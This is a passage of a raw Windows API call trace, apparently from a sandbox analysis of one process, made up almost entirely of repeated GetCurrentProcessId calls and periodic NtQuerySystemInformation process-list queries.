0xd70 [0101.904] GetCurrentProcessId () returned 0xd70 [0101.904] GetCurrentProcessId () returned 0xd70 [0101.904] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.911] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.912] GetCurrentProcessId () returned 0xd70 [0101.913] GetCurrentProcessId () returned 0xd70 [0101.913] GetCurrentProcessId () returned 0xd70 [0101.913] GetCurrentProcessId () returned 0xd70 [0101.913] GetCurrentProcessId () returned 0xd70 [0101.913] GetCurrentProcessId () returned 0xd70 [0101.913] GetCurrentProcessId () returned 0xd70 [0101.913] GetCurrentProcessId () returned 0xd70 [0102.458] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1be48) returned 0x0 [0102.466] GetCurrentProcessId () returned 0xd70 [0102.466] GetCurrentProcessId () returned 0xd70 [0102.485] GetCurrentProcessId () returned 0xd70 [0102.485] GetCurrentProcessId () returned 0xd70 [0102.485] GetCurrentProcessId () returned 0xd70 [0102.485] GetCurrentProcessId () returned 0xd70 [0102.485] GetCurrentProcessId () returned 0xd70 [0102.485] GetCurrentProcessId () returned 0xd70 [0102.485] GetCurrentProcessId () returned 0xd70 [0102.485] GetCurrentProcessId () returned 0xd70 [0102.485] GetCurrentProcessId () returned 0xd70 [0102.485] GetCurrentProcessId () returned 0xd70 [0102.485] GetCurrentProcessId () returned 0xd70 [0102.485] GetCurrentProcessId () returned 0xd70 [0102.485] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.486] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.487] GetCurrentProcessId () returned 0xd70 [0102.488] GetCurrentProcessId () returned 0xd70 [0102.488] GetCurrentProcessId () returned 0xd70 [0102.488] GetCurrentProcessId () returned 0xd70 [0102.488] GetCurrentProcessId () returned 0xd70 [0102.488] GetCurrentProcessId () returned 0xd70 [0102.488] GetCurrentProcessId () returned 0xd70 [0102.488] GetCurrentProcessId () returned 0xd70 [0102.488] GetCurrentProcessId () returned 0xd70 [0102.488] GetCurrentProcessId () returned 0xd70 [0102.488] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0102.489] GetCurrentProcessId () returned 0xd70 [0103.016] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1be48) returned 0x0 [0103.022] GetCurrentProcessId () returned 0xd70 [0103.022] GetCurrentProcessId () returned 0xd70 [0103.022] GetCurrentProcessId () returned 0xd70 [0103.022] GetCurrentProcessId () returned 0xd70 [0103.022] GetCurrentProcessId () returned 0xd70 [0103.022] GetCurrentProcessId () returned 0xd70 [0103.022] GetCurrentProcessId () returned 0xd70 [0103.022] GetCurrentProcessId () returned 0xd70 [0103.022] GetCurrentProcessId () returned 0xd70 [0103.022] GetCurrentProcessId () returned 0xd70 [0103.022] GetCurrentProcessId () returned 0xd70 [0103.022] GetCurrentProcessId () returned 0xd70 [0103.022] GetCurrentProcessId () returned 0xd70 [0103.022] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.023] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.024] GetCurrentProcessId () returned 0xd70 [0103.025] GetCurrentProcessId () returned 0xd70 [0103.025] GetCurrentProcessId () returned 0xd70 [0103.025] GetCurrentProcessId () returned 0xd70 [0103.025] GetCurrentProcessId () returned 0xd70 [0103.025] GetCurrentProcessId () returned 0xd70 [0103.025] GetCurrentProcessId () returned 0xd70 [0103.025] GetCurrentProcessId () returned 0xd70 [0103.025] GetCurrentProcessId () returned 0xd70 [0103.025] GetCurrentProcessId () returned 0xd70 [0103.025] GetCurrentProcessId () returned 0xd70 [0103.025] GetCurrentProcessId () returned 0xd70 [0103.025] GetCurrentProcessId () returned 0xd70 [0103.025] GetCurrentProcessId () returned 0xd70 [0103.025] GetCurrentProcessId () returned 0xd70 [0103.025] GetCurrentProcessId () returned 0xd70 [0103.025] GetCurrentProcessId () returned 0xd70 [0103.025] GetCurrentProcessId () returned 0xd70 [0103.616] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1be48) returned 0x0 [0103.622] GetCurrentProcessId () returned 0xd70 [0103.622] GetCurrentProcessId () returned 0xd70 [0103.622] GetCurrentProcessId () returned 0xd70 [0103.622] GetCurrentProcessId () returned 0xd70 [0103.622] GetCurrentProcessId () returned 0xd70 [0103.622] GetCurrentProcessId () returned 0xd70 [0103.622] GetCurrentProcessId () returned 0xd70 [0103.622] GetCurrentProcessId () returned 0xd70 [0103.622] GetCurrentProcessId () returned 0xd70 [0103.622] GetCurrentProcessId () returned 0xd70 [0103.622] GetCurrentProcessId () returned 0xd70 [0103.622] GetCurrentProcessId () returned 0xd70 [0103.622] GetCurrentProcessId () returned 0xd70 [0103.622] GetCurrentProcessId () returned 0xd70 [0103.622] GetCurrentProcessId () returned 0xd70 [0103.622] GetCurrentProcessId () returned 0xd70 [0104.155] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1be48) returned 0x0 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.161] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.162] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.163] GetCurrentProcessId () returned 0xd70 [0104.164] GetCurrentProcessId () returned 0xd70 [0104.164] GetCurrentProcessId () returned 0xd70 [0104.164] GetCurrentProcessId () returned 0xd70 [0104.164] GetCurrentProcessId () returned 0xd70 [0104.164] GetCurrentProcessId () returned 0xd70 [0104.164] GetCurrentProcessId () returned 0xd70 [0104.164] GetCurrentProcessId () returned 0xd70 [0104.165] GetCurrentProcessId () returned 0xd70 [0104.165] GetCurrentProcessId () returned 0xd70 [0104.165] GetCurrentProcessId () returned 0xd70 [0104.165] GetCurrentProcessId () returned 0xd70 [0104.165] GetCurrentProcessId () returned 0xd70 [0104.165] GetCurrentProcessId () returned 0xd70 [0104.165] GetCurrentProcessId () returned 0xd70 [0104.165] GetCurrentProcessId () returned 0xd70 [0104.165] GetCurrentProcessId () returned 0xd70 [0104.165] GetCurrentProcessId () returned 0xd70 [0104.165] GetCurrentProcessId () returned 0xd70 [0104.165] GetCurrentProcessId () returned 0xd70 [0104.165] GetCurrentProcessId () returned 0xd70 [0104.165] GetCurrentProcessId () returned 0xd70 [0104.165] GetCurrentProcessId () returned 0xd70 [0104.165] GetCurrentProcessId () returned 0xd70 [0104.165] GetCurrentProcessId () returned 0xd70 [0104.165] GetCurrentProcessId () returned 0xd70 [0104.740] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c138) returned 0x0 [0104.746] GetCurrentProcessId () returned 0xd70 [0104.746] GetCurrentProcessId () returned 0xd70 [0104.746] GetCurrentProcessId () returned 0xd70 [0104.746] GetCurrentProcessId () returned 0xd70 [0104.746] GetCurrentProcessId () returned 0xd70 [0104.746] GetCurrentProcessId () returned 0xd70 [0104.746] GetCurrentProcessId () returned 0xd70 [0104.746] GetCurrentProcessId () returned 0xd70 [0104.746] GetCurrentProcessId () returned 0xd70 [0104.746] GetCurrentProcessId () returned 0xd70 [0104.746] GetCurrentProcessId () returned 0xd70 [0104.746] GetCurrentProcessId () returned 0xd70 [0104.746] GetCurrentProcessId () returned 0xd70 [0104.746] GetCurrentProcessId () returned 0xd70 [0104.746] GetCurrentProcessId () returned 0xd70 [0104.746] GetCurrentProcessId () returned 0xd70 [0104.746] GetCurrentProcessId () returned 0xd70 [0104.746] GetCurrentProcessId () returned 0xd70 [0104.746] GetCurrentProcessId () returned 0xd70 [0104.747] GetCurrentProcessId () returned 0xd70 [0104.747] GetCurrentProcessId () returned 0xd70 [0104.747] GetCurrentProcessId () returned 0xd70 [0104.747] GetCurrentProcessId () returned 0xd70 [0104.748] GetCurrentProcessId () returned 0xd70 [0104.748] GetCurrentProcessId () returned 0xd70 [0104.748] GetCurrentProcessId () returned 0xd70 [0104.748] GetCurrentProcessId () returned 0xd70 [0104.748] GetCurrentProcessId () returned 0xd70 [0104.748] GetCurrentProcessId () returned 0xd70 [0104.748] GetCurrentProcessId () returned 0xd70 [0104.748] GetCurrentProcessId () returned 0xd70 [0104.748] GetCurrentProcessId () returned 0xd70 [0104.748] GetCurrentProcessId () returned 0xd70 [0104.748] GetCurrentProcessId () returned 0xd70 [0104.748] GetCurrentProcessId () returned 0xd70 [0104.748] GetCurrentProcessId () returned 0xd70 [0104.748] GetCurrentProcessId () returned 0xd70 [0104.748] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.749] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.750] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0104.751] GetCurrentProcessId () returned 0xd70 [0105.368] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c188) returned 0x0 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.384] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.385] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] 